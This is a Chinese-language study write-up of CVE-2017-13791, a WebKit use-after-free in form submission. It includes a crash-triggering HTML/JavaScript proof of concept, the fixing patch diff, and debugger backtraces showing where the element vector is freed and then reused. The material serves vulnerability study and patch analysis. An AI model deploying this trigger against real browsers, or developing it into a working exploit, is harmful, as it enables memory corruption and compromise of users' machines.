webkit UAF:CVE-2017-13791学习

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
form.submit();
}
function eventhandler2() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>

patch

https://github.com/WebKit/webkit/commit/d0ac97f994f0145715402be4d4a24b54440beb02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-    {
- NoEventDispatchAssertion noEventDispatchAssertion;
-
- for (auto& control : form.associatedElements()) {
- auto& element = control->asHTMLElement();
- if (!element.isDisabledFormControl())
- control->appendFormData(domFormData, isMultiPartForm);
- if (is<HTMLInputElement>(element)) {
- auto& input = downcast<HTMLInputElement>(element);
- if (input.isTextField()) {
- formValues.append({ input.name().string(), input.value() });
- input.addSearchResult();
- }
- if (input.isPasswordField() && !input.value().isEmpty())
- containsPasswordData = true;
+ auto protectedAssociatedElements = form.associatedElements().map([] (FormAssociatedElement* rawElement) -> Ref<FormAssociatedElement> {
+ return *rawElement;
+ });
+
+ for (auto& control : protectedAssociatedElements) {
+ auto& element = control->asHTMLElement();
+ if (!element.isDisabledFormControl())
+ control->appendFormData(domFormData, isMultiPartForm);
+ if (is<HTMLInputElement>(element)) {
+ auto& input = downcast<HTMLInputElement>(element);
+ if (input.isTextField()) {
+ formValues.append({ input.name(), input.value() });
+ input.addSearchResult();
}
+ if (input.isPasswordField() && !input.value().isEmpty())
+ containsPasswordData = true;
}
}

在for (auto& control : xxx)里,把form.associatedElements()改成了protectedAssociatedElements。
前者直接是使用HTMLFormElement中的m_associatedElements引用。

1
2
const Vector<FormAssociatedElement*>& associatedElements() const { return m_associatedElements; }
Vector<FormAssociatedElement*> m_associatedElements;

后者使用Ref产生的引用来取代之前的m_associatedElements.

poc分析

poc的一些知识点

  1. <body onload=jsfuzzer()>
    在页面加载完成后就调用jsfuzzer()函数。

  2. textarea2.autofocus = true;
    在jsfuzzer()里通过autofocus来改变了textarea2,从而因为onchange事件发生来回调了eventhandler2()函数。
    这在webkit poc里很常见,都是这么写来触发的。
    javascript是单线程的,回调就类似于内核里的trap,用来弥补不能多线程的缺陷。

  3. eventhandler2

    1
    2
    3
    4
    for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
    }

    appendChild调用setForm,触发内存重新分配,set之后free。

  4. form.submit();
    在submit里调用到了updateLayout。
    在submit时需要保持页面布局是最新的. 导致有了一个时机通过回调事件访问目标对象.

UAF

free

在 lldb 中确认. 可以看到 eventhandler2 中使用的 appendChild() 方法经过层层调用释放了 WebCore::FormAssociatedElement*

1
2
3
4
5
6
7
8
9
10
11
12
#0 0x103670044 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5a044)
#1 0x11465dbc0 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/sakura/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1ea2bc0)
#2 0x10651b537 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3537)
#3 0x106517eff in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefeff)
#4 0x106517d6f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefd6f)
#5 0x106276c98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4ec98)
#6 0x1062775fe in WebCore::FormAssociatedElement::resetFormOwner() (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f5fe)
#7 0x10653719d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0f19d)
#8 0x105b12378 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ea378)
#9 0x105b11ecf in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9ecf)
#10 0x105b11798 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9798)
#11 0x105b14b54 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/sakura/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecb54)

use

前面我们说过了,在submit的时候,真正的触发页面的update

1
2
3
4
5
6
7
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = step in
* frame #0: 0x0000000111ceb42f WebCore`WebCore::Document::updateLayout(this=0x00006200000210e0) at Document.cpp:1907
frame #1: 0x0000000112e3f31c WebCore`WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042a1c0, encoding=0x000060400060d810, (null)=false) at HTMLTextAreaElement.cpp:225
frame #2: 0x0000000112e3f54b WebCore`non-virtual thunk to WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042a1c0, encoding=0x000060400060d810, (null)=false) at HTMLTextAreaElement.cpp:0
frame #3: 0x00000001126a34f8 WebCore`WebCore::FormSubmission::create(form=0x000061100042a080, attributes=0x000061100042a0e8, event=0x0000000000000000, lockHistory=Yes, trigger=SubmittedByJavaScript) at FormSubmission.cpp:200
frame #4:......

在for (auto& control : form.associatedElements()) 执行的时候, use after free。

其他

free和use的地点因为回调的缘故还是有点难找,我调试有点问题,这个洞暂时就这样了,不知道理解的对不对,看其他的时候加深理解吧。
参考的是我师傅之前写的文章(虽然现在删掉了)

主要学到的东西:
触发内存重新分配和真正的重新update,其实还是分离的,两者并不同时发生。
就像webkit里面页面里的一个元素被删除了,在cpp层不一定被释放掉了,不是同步的。
其实感觉webkit里UAF多的原因还是,程序中的对象调用关系过于复杂,实在难以搞清楚某个对象究竟是否已经释放了内存。
回调追着太复杂了。。还是easy,需要很多经验呀。